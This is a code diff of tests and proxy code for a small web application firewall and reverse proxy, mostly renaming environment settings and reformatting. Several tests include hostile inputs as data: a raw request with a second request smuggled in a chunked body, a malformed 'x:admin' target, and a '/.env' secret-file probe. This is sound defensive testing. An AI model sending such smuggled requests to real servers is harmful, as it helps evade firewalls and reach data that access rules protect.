||||||
|
|
||||||
@@ -55,9 +54,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
// or invalid token file, or an invalid value of another setting, does not
|
// or invalid token file, or an invalid value of another setting, does not
|
||||||
// fail it.
|
// fail it.
|
||||||
for _, other := range []struct{ name, value string }{
|
for _, other := range []struct{ name, value string }{
|
||||||
{"SWW_WAF_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
|
{"SWW_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
|
||||||
{"SWW_WAF_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
|
{"SWW_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
|
||||||
{"SWW_WAF_MODE", "neither"},
|
{"SWW_MODE", "neither"},
|
||||||
} {
|
} {
|
||||||
wantHealthCheck(t, map[string]string{
|
wantHealthCheck(t, map[string]string{
|
||||||
commandSetting: wafCommand,
|
commandSetting: wafCommand,
|
||||||
@@ -73,7 +72,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
}, 1, "unhealthy: ask waf: ")
|
}, 1, "unhealthy: ask waf: ")
|
||||||
wantHealthCheck(t, map[string]string{
|
wantHealthCheck(t, map[string]string{
|
||||||
commandSetting: wafCommand, listenAddr: "8080",
|
commandSetting: wafCommand, listenAddr: "8080",
|
||||||
}, 1, "unhealthy: invalid setting: SWW_WAF_LISTEN_ADDR: ")
|
}, 1, "unhealthy: invalid setting: SWW_LISTEN_ADDR: ")
|
||||||
|
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
@@ -95,7 +94,10 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
|
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
|
||||||
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
|
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
|
||||||
settings := func(more ...string) map[string]string {
|
settings := func(more ...string) map[string]string {
|
||||||
env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
|
env := map[string]string{
|
||||||
|
rproxyListenAddr: ":" + port,
|
||||||
|
rproxyUpstreamURL: app.URL,
|
||||||
|
}
|
||||||
for i := 0; i < len(more); i += 2 {
|
for i := 0; i < len(more); i += 2 {
|
||||||
env[more[i]] = more[i+1]
|
env[more[i]] = more[i+1]
|
||||||
}
|
}
|
||||||
@@ -108,12 +110,16 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
|
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
|
||||||
|
|
||||||
// SWW_COMMAND cannot be given as a file.
|
// SWW_COMMAND cannot be given as a file.
|
||||||
wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
|
wantHealthCheck(
|
||||||
0, "")
|
t,
|
||||||
|
settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
|
||||||
|
0,
|
||||||
|
"",
|
||||||
|
)
|
||||||
|
|
||||||
// Another setting does not fail it, even an invalid one, and neither does
|
// Another setting does not fail it, even an invalid one, and neither does
|
||||||
// SWW_RPROXY_WAF_BACKEND being unset.
|
// SWRP_WAF_BACKEND being unset.
|
||||||
wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
|
wantHealthCheck(t, settings("SWRP_TIMEOUT_MS", "soon"), 0, "")
|
||||||
|
|
||||||
// Another test can take a closed server's port at once, so the app's
|
// Another test can take a closed server's port at once, so the app's
|
||||||
// address here is a multicast address, to which TCP cannot connect.
|
// address here is a multicast address, to which TCP cannot connect.
|
||||||
@@ -122,16 +128,20 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
|
|
||||||
// Listening on port 0 takes any free port, so nothing listens on port 0
|
// Listening on port 0 takes any free port, so nothing listens on port 0
|
||||||
// itself.
|
// itself.
|
||||||
wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
|
wantHealthCheck(
|
||||||
|
t,
|
||||||
|
settings(rproxyListenAddr, ":0"),
|
||||||
|
1,
|
||||||
|
"unhealthy: ask rproxy: ",
|
||||||
|
)
|
||||||
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
||||||
"unhealthy: invalid setting: SWW_RPROXY_LISTEN_ADDR: ")
|
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
|
||||||
|
|
||||||
// A setting of rproxy's can be given as a file too, here the listen
|
// No setting of rproxy's has a form given as a file.
|
||||||
// address, which the health check reads.
|
|
||||||
wantHealthCheck(t, map[string]string{
|
wantHealthCheck(t, map[string]string{
|
||||||
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
|
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
|
||||||
rproxyUpstreamURL: app.URL,
|
rproxyUpstreamURL: app.URL,
|
||||||
}, 0, "")
|
}, 1, "unhealthy: ask rproxy: ")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
|
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
|
||||||
@@ -147,7 +157,11 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
|
|||||||
|
|
||||||
var stderr bytes.Buffer
|
var stderr bytes.Buffer
|
||||||
|
|
||||||
got := sww.HealthCheck(t.Context(), []string{"now"}, configtest.Viper(nil), &stderr)
|
noSettings := func(string) (string, bool) {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
got := sww.HealthCheck(t.Context(), []string{"now"}, noSettings, &stderr)
|
||||||
|
|
||||||
want := "sww healthcheck: unexpected argument \"now\"\n"
|
want := "sww healthcheck: unexpected argument \"now\"\n"
|
||||||
if got != 1 || stderr.String() != want {
|
if got != 1 || stderr.String() != want {
|
||||||
@@ -159,12 +173,26 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
|
|||||||
// wantHealthCheck runs the health check with the settings in env, and
|
// wantHealthCheck runs the health check with the settings in env, and
|
||||||
// checks its exit status and the start of what it writes to stderr,
|
// checks its exit status and the start of what it writes to stderr,
|
||||||
// which is nothing when message is empty.
|
// which is nothing when message is empty.
|
||||||
func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
|
func wantHealthCheck(
|
||||||
|
t *testing.T,
|
||||||
|
env map[string]string,
|
||||||
|
status int,
|
||||||
|
message string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
var stderr bytes.Buffer
|
var stderr bytes.Buffer
|
||||||
|
|
||||||
got := sww.HealthCheck(t.Context(), nil, configtest.Viper(env), &stderr)
|
got := sww.HealthCheck(
|
||||||
|
t.Context(),
|
||||||
|
nil,
|
||||||
|
func(name string) (string, bool) {
|
||||||
|
value, ok := env[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
|
&stderr,
|
||||||
|
)
|
||||||
|
|
||||||
wrote := stderr.String()
|
wrote := stderr.String()
|
||||||
if got != status || !strings.HasPrefix(wrote, message) ||
|
if got != status || !strings.HasPrefix(wrote, message) ||
|
||||||
|
|||||||
+12
-4
@@ -15,15 +15,19 @@ import (
|
|||||||
|
|
||||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||||
// requests until ctx is done. Then it gives the requests in progress
|
// requests until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
|
// shutdownTimeout to finish, and the reports being sent SWRP_TIMEOUT_MS. It
|
||||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||||
// messages name the host's name as instance, and it writes those at info or
|
// messages name the host's name as instance, and it writes those at info or
|
||||||
// more severe: rproxy has no setting for either.
|
// more severe: rproxy has no setting for either.
|
||||||
func RunRProxy(ctx context.Context, params Params) int {
|
func RunRProxy(ctx context.Context, params Params) int {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
|
processLog := requestlog.NewProcessLogger(
|
||||||
|
params.Stdout,
|
||||||
|
hostname,
|
||||||
|
slog.LevelInfo,
|
||||||
|
)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(params.Viper)
|
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("invalid setting", "error", err.Error())
|
processLog.Error("invalid setting", "error", err.Error())
|
||||||
|
|
||||||
@@ -38,7 +42,11 @@ func RunRProxy(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot listen on SWW_RPROXY_LISTEN_ADDR", "error", err.Error())
|
processLog.Error(
|
||||||
|
"cannot listen on SWRP_LISTEN_ADDR",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|||||||
+113
-41
@@ -19,20 +19,19 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// wafBackend is the setting that names waf to rproxy.
|
// wafBackend is the setting that names waf to rproxy.
|
||||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWRP_WAF_BACKEND"
|
||||||
// rproxyListenAddr is the setting that says where rproxy listens.
|
// rproxyListenAddr is the setting that says where rproxy listens.
|
||||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListenAddr = "SWRP_LISTEN_ADDR"
|
||||||
// rproxyUpstreamURL is the setting that says where the app is.
|
// rproxyUpstreamURL is the setting that says where the app is.
|
||||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstreamURL = "SWRP_UPSTREAM_URL"
|
||||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||||
// bannedProbe is a path the default rule file bans a client for.
|
// bannedProbe is a path the default rule file bans a client for.
|
||||||
bannedProbe = "/.env"
|
bannedProbe = "/.env"
|
||||||
// otherClient is a client the tests do not ban.
|
// otherClient is a client the tests do not ban.
|
||||||
@@ -44,8 +43,12 @@ const (
|
|||||||
func runRProxy(ctx context.Context, env map[string]string, out *output) int {
|
func runRProxy(ctx context.Context, env map[string]string, out *output) int {
|
||||||
return sww.RunRProxy(ctx, sww.Params{
|
return sww.RunRProxy(ctx, sww.Params{
|
||||||
Version: testVersion,
|
Version: testVersion,
|
||||||
Viper: configtest.Viper(env),
|
LookupEnv: func(name string) (string, bool) {
|
||||||
Stdout: out,
|
value, ok := env[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
|
Stdout: out,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -61,10 +64,10 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
exited <- runRProxy(ctx, map[string]string{
|
exited <- runRProxy(ctx, map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWRP_UPSTREAM_URL": appURL,
|
||||||
"SWW_RPROXY_TRUSTED_PROXIES": localhost + "/32",
|
"SWRP_TRUSTED_PROXIES": localhost + "/32",
|
||||||
wafBackend: backend,
|
wafBackend: backend,
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -76,7 +79,11 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
|
t.Errorf(
|
||||||
|
"rproxy's exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("rproxy still running after being told to stop")
|
t.Error("rproxy still running after being told to stop")
|
||||||
@@ -91,7 +98,10 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
// startWAF runs waf with the settings in env, and returns
|
// startWAF runs waf with the settings in env, and returns
|
||||||
// its address and URL, what it writes, and what stops it, which checks that it
|
// its address and URL, what it writes, and what stops it, which checks that it
|
||||||
// stopped in order.
|
// stopped in order.
|
||||||
func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
|
func startWAF(
|
||||||
|
t *testing.T,
|
||||||
|
env map[string]string,
|
||||||
|
) (string, *output, func()) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
ctx, stop := context.WithCancel(t.Context())
|
ctx, stop := context.WithCancel(t.Context())
|
||||||
@@ -110,7 +120,11 @@ func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
|
t.Fatalf(
|
||||||
|
"waf's exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("waf still running after being told to stop")
|
t.Fatal("waf still running after being told to stop")
|
||||||
@@ -338,7 +352,12 @@ func pipe(dst, src net.Conn) {
|
|||||||
// answersNormally reports whether a request to url from the client at from, as
|
// answersNormally reports whether a request to url from the client at from, as
|
||||||
// X-Forwarded-For names it, gets the app's answer.
|
// X-Forwarded-For names it, gets the app's answer.
|
||||||
func answersNormally(ctx context.Context, url, from string) bool {
|
func answersNormally(ctx context.Context, url, from string) bool {
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
url,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -356,7 +375,8 @@ func answersNormally(ctx context.Context, url, from string) bool {
|
|||||||
body, err := io.ReadAll(res.Body)
|
body, err := io.ReadAll(res.Body)
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
|
return err == nil && res.StatusCode == http.StatusOK &&
|
||||||
|
string(body) == greeting
|
||||||
}
|
}
|
||||||
|
|
||||||
// sendRaw sends request, as it is, to rproxy at site, and returns the status of
|
// sendRaw sends request, as it is, to rproxy at site, and returns the status of
|
||||||
@@ -409,9 +429,16 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
|
|||||||
waf.ClientHeader + ": " + otherClient + "\r\n" +
|
waf.ClientHeader + ": " + otherClient + "\r\n" +
|
||||||
"X-Request-ID: " + smuggledID + "\r\n\r\n"
|
"X-Request-ID: " + smuggledID + "\r\n\r\n"
|
||||||
|
|
||||||
status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
|
status := sendRaw(
|
||||||
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
|
t,
|
||||||
strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
|
site,
|
||||||
|
"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
|
||||||
|
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
|
||||||
|
strconv.FormatInt(
|
||||||
|
int64(len(smuggled)),
|
||||||
|
16,
|
||||||
|
)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
|
||||||
|
)
|
||||||
if status != http.StatusOK {
|
if status != http.StatusOK {
|
||||||
t.Errorf("status %d, want the app's 200", status)
|
t.Errorf("status %d, want the app's 200", status)
|
||||||
}
|
}
|
||||||
@@ -440,8 +467,12 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
|||||||
|
|
||||||
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
|
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
|
||||||
|
|
||||||
status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
|
status := sendRaw(
|
||||||
"X-Forwarded-For: "+placed+"\r\n\r\n")
|
t,
|
||||||
|
site,
|
||||||
|
"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
|
||||||
|
"X-Forwarded-For: "+placed+"\r\n\r\n",
|
||||||
|
)
|
||||||
if status != http.StatusBadRequest {
|
if status != http.StatusBadRequest {
|
||||||
t.Errorf("status %d, want 400", status)
|
t.Errorf("status %d, want 400", status)
|
||||||
}
|
}
|
||||||
@@ -467,7 +498,8 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
|||||||
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
|
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
|
||||||
|
|
||||||
line := out.line(t, "path", bannedProbe)
|
line := out.line(t, "path", bannedProbe)
|
||||||
if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
|
if line["client_ip"] != "2001:db8::1" ||
|
||||||
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -492,7 +524,10 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "path", "/")
|
line := out.line(t, "path", "/")
|
||||||
if line["status"] != float64(status) {
|
if line["status"] != float64(status) {
|
||||||
t.Errorf("rproxy's line is %v, want the status the visitor got", line)
|
t.Errorf(
|
||||||
|
"rproxy's line is %v, want the status the visitor got",
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
id, _ := line["request_id"].(string)
|
id, _ := line["request_id"].(string)
|
||||||
@@ -516,12 +551,13 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
out := &output{}
|
out := &output{}
|
||||||
cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
|
//nolint:gosec // this test binary
|
||||||
|
cmd := exec.CommandContext(t.Context(), binary)
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
commandForMain+"=rproxy",
|
commandForMain+"=rproxy",
|
||||||
"SWW_RPROXY_LISTEN_ADDR="+localhost+":0")
|
"SWRP_LISTEN_ADDR="+localhost+":0")
|
||||||
cmd.Env = append(cmd.Env, env...)
|
cmd.Env = append(cmd.Env, env...)
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
exited := startProcess(t, cmd)
|
||||||
@@ -537,7 +573,11 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf("exit status %d, want 0; output:\n%s", status, out.text())
|
t.Errorf(
|
||||||
|
"exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("still running after being told to stop")
|
t.Error("still running after being told to stop")
|
||||||
@@ -575,7 +615,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
|
|
||||||
addr, _ := startRProxyProcess(t,
|
addr, _ := startRProxyProcess(t,
|
||||||
wafBackend+"="+backend.URL,
|
wafBackend+"="+backend.URL,
|
||||||
"SWW_RPROXY_UPSTREAM_URL="+startApp(t),
|
"SWRP_UPSTREAM_URL="+startApp(t),
|
||||||
"SSL_CERT_FILE="+certificates)
|
"SSL_CERT_FILE="+certificates)
|
||||||
|
|
||||||
for name, headers := range map[string]string{
|
for name, headers := range map[string]string{
|
||||||
@@ -584,7 +624,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
"Connection": "Connection: anything\r\n",
|
"Connection": "Connection: anything\r\n",
|
||||||
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
|
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
|
||||||
} {
|
} {
|
||||||
status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
|
status := sendRaw(
|
||||||
|
t,
|
||||||
|
addr,
|
||||||
|
"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
|
||||||
|
)
|
||||||
if status != http.StatusForbidden {
|
if status != http.StatusForbidden {
|
||||||
t.Errorf("with %s: status %d, want waf's 403", name, status)
|
t.Errorf("with %s: status %d, want waf's 403", name, status)
|
||||||
}
|
}
|
||||||
@@ -592,7 +636,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case protocol := <-protocols:
|
case protocol := <-protocols:
|
||||||
if protocol != "HTTP/1.1" {
|
if protocol != "HTTP/1.1" {
|
||||||
t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
|
t.Errorf(
|
||||||
|
"with %s: asked over %s, want HTTP/1.1",
|
||||||
|
name,
|
||||||
|
protocol,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Errorf("with %s: waf was not asked", name)
|
t.Errorf("with %s: waf was not asked", name)
|
||||||
@@ -613,7 +661,11 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "msg", "starting")
|
line := out.line(t, "msg", "starting")
|
||||||
if line["instance"] != hostname || line["level"] != "INFO" {
|
if line["instance"] != hostname || line["level"] != "INFO" {
|
||||||
t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
|
t.Errorf(
|
||||||
|
"rproxy's line is %v, want instance %s at INFO",
|
||||||
|
line,
|
||||||
|
hostname,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -640,10 +692,10 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
defer stop()
|
defer stop()
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
"SWRP_UPSTREAM_URL": startApp(t),
|
||||||
rproxyTimeout: "60000",
|
rproxyTimeout: "60000",
|
||||||
wafBackend: backend.URL,
|
wafBackend: backend.URL,
|
||||||
}
|
}
|
||||||
out := &output{}
|
out := &output{}
|
||||||
exited := make(chan int, 1)
|
exited := make(chan int, 1)
|
||||||
@@ -678,7 +730,11 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
|
t.Errorf(
|
||||||
|
"rproxy's exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("rproxy still running, the report having been answered")
|
t.Error("rproxy still running, the report having been answered")
|
||||||
@@ -717,7 +773,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
|
|
||||||
const (
|
const (
|
||||||
cutOffAfter = 5 * time.Second
|
cutOffAfter = 5 * time.Second
|
||||||
upstreamSetting = "SWW_RPROXY_UPSTREAM_URL"
|
upstreamSetting = "SWRP_UPSTREAM_URL"
|
||||||
)
|
)
|
||||||
|
|
||||||
asked := make(chan struct{})
|
asked := make(chan struct{})
|
||||||
@@ -752,7 +808,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
||||||
conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
conn := sendAndKeepOpen(
|
||||||
|
t,
|
||||||
|
addr,
|
||||||
|
"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
|
||||||
|
)
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case <-asked:
|
case <-asked:
|
||||||
@@ -776,7 +836,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
|
t.Errorf(
|
||||||
|
"rproxy's exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("rproxy still running after the cut-off")
|
t.Error("rproxy still running after the cut-off")
|
||||||
@@ -811,7 +875,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
message, _ := line["error"].(string)
|
message, _ := line["error"].(string)
|
||||||
|
|
||||||
if !strings.HasPrefix(message, tc.setting+": ") {
|
if !strings.HasPrefix(message, tc.setting+": ") {
|
||||||
t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
|
t.Errorf(
|
||||||
|
"start refused with %v, want it to name %s",
|
||||||
|
line,
|
||||||
|
tc.setting,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -820,7 +888,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
taken, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -839,7 +911,7 @@ func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
|||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.line(t, "msg", "cannot listen on SWW_RPROXY_LISTEN_ADDR")
|
out.line(t, "msg", "cannot listen on SWRP_LISTEN_ADDR")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMainRunsRProxy(t *testing.T) {
|
func TestMainRunsRProxy(t *testing.T) {
|
||||||
|
|||||||
+90
-38
@@ -20,8 +20,6 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -40,7 +38,7 @@ import (
|
|||||||
